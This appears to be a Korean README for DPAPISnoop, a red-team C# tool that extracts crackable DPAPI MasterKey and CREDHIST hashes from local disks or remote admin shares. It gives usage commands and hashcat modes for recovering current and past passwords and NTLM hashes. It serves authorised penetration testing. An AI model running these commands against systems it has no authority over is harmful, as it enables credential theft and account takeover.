
사용자 MasterKeys에서 크랙 가능한 DPAPI 해시를 출력하는 C# 도구
DPAPI 사용자 MasterKey 및 CREDHIST 파일에서 크랙 가능한 DPAPI 해시를 추출하는 C# 도구입니다.
MasterKey($DPAPImk$)와 전체 CREDHIST 체인($credhist$)을 모두 대상으로 하며, 로컬 경로 및 원격 SMB 공유를 지원합니다.
$DPAPImk$)각 사용자의 MasterKey는 \Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\에서 찾을 수 있습니다.
크래킹하면 사용자의 도메인 비밀번호를 얻을 수 있으며, 해당 시기의 모든 DPAPI 보호 비밀을 해제할 수 있습니다.
해시 버전은 OS에 따라 다릅니다:
컨텍스트 필드는 계정 유형을 인코딩합니다:
$credhist$)각 사용자의 CREDHIST 파일에 있는 모든 항목. 각 항목은 이전 비밀번호로 암호화되어 있으며, 그 이전 비밀번호의 SHA1 + NTLM으로 복호화됩니다.
체인을 크래킹하면 모든 과거 비밀번호와 해당 NTLM 해시를 재구성할 수 있습니다.
항목은 사용자 이름 필드에 레이블이 지정되어 출력이 자체 설명적입니다:
alice[current]:$credhist$*... ← 현재 비밀번호로 암호화됨; 이 항목을 먼저 크랙하세요
alice[prev1]:$credhist$*... ← 이전 비밀번호로 암호화됨
alice[prev2]:$credhist$*...
항목 해시 버전은 OS에 따라 다릅니다:
-m 15920으로 크랙-m 15930으로 크랙DPAPISnoop.exe [rootDir] [options]
rootDir은 생략하면 기본값 %HOMEDRIVE%로 설정됩니다. UNC 경로도 완전히 지원됩니다.
# 로컬 머신 — 전체 덤프 (%HOMEDRIVE% 기본값)
DPAPISnoop.exe
# 로컬 머신 — 알려진 비밀번호에서 CREDHIST 체인 탐색
DPAPISnoop.exe C: --password Summer2026!
# 로컬 머신 — 알려진 SHA1에서 CREDHIST 체인 탐색
# (예: sekurlsa::wdigest pwdhash 또는 dpapi 캐시)
DPAPISnoop.exe C: --sha1 da39a3ee5e6b4b0d3255bfef95601890afd80709
# 원격 공유 — 전체 덤프
DPAPISnoop.exe \\server01\c$
# 원격 공유 — CREDHIST만, 해시를 파일로 리다이렉트
DPAPISnoop.exe \\server01\c$ --credhist-only > credhist_hashes.txt
# 원격 공유 — 알려진 비밀번호에서 CREDHIST 체인 탐색
DPAPISnoop.exe \\server01\c$ --password Summer2026!
hashcat -a0 -m 15300 hashes.txt wordlist.txt # v1 로컬/도메인 pre-1607
hashcat -a0 -m 15310 hashes.txt wordlist.txt # v1 도메인 post-1607
hashcat -a0 -m 15900 hashes.txt wordlist.txt # v2 로컬/도메인 pre-1607
hashcat -a0 -m 15910 hashes.txt wordlist.txt # v2 도메인 post-1607
hashcat -a0 -m 15920 credhist_hashes.txt wordlist.txt # 3DES 항목 (≤ Vista)
hashcat -a0 -m 15930 credhist_hashes.txt wordlist.txt # AES-256 항목 (≥ Win10 20H2)
크래킹 후, 복구된 비밀번호를 DPAPISnoop에 다시 전달하여 전체 체인을 탐색하고 모든 과거 SHA1 및 NTLM을 출력합니다:
DPAPISnoop.exe C:\ --password Summer2024! > ntlms.txt
DPAPISnoop.exe C:\ --sha1 <40-hex-sha1> > ntlms.txt
README를 확인하세요.
이 연구 개발 작업은 인간과 AI 지원 도구가 협력하여 AI 모델 GPT-5.5 및 Claude Sonnet 4.6을 사용해 수행되었습니다.
AI 모델은 코드 생성 및 리버스 엔지니어링 지원에 사용되었습니다.
그러나 모든 연구 방향, 검증, 디버깅, 테스트, 보안 분석 및 최종 기술 결정은 인간(Imdefinelyhuman)이 수행했습니다.
생성된 모든 콘텐츠, 코드 및 분석은 반복적인 인간 주도 워크플로우의 일부로 수동으로 검토, 검증, 수정 및 통합되었습니다.
위 내용은 다르게 말하면 이 코드에는 버그가 있으며 사용에 따른 위험은 본인이 감수해야 한다는 뜻입니다!
Lefteris (lefty) Panos @ LRQA Red Team 2026
| 플래그 | 설명 |
|---|
| (없음) | 현재 사용자의 $DPAPImk$ 및 $credhist$ 덤프 |
--credhist-only / -c | MasterKey 출력을 건너뛰고 $credhist$ 줄만 출력 |
--password <평문> / -p | 현재 평문 비밀번호에서 CREDHIST 체인 탐색 |
--sha1 <40-hex> | 현재 비밀번호의 알려진 SHA1에서 CREDHIST 체인 탐색 |
--pre1607 | 도메인 MasterKey 해시에 대해 컨텍스트 3 대신 컨텍스트 2(도메인 pre-1607) 출력 |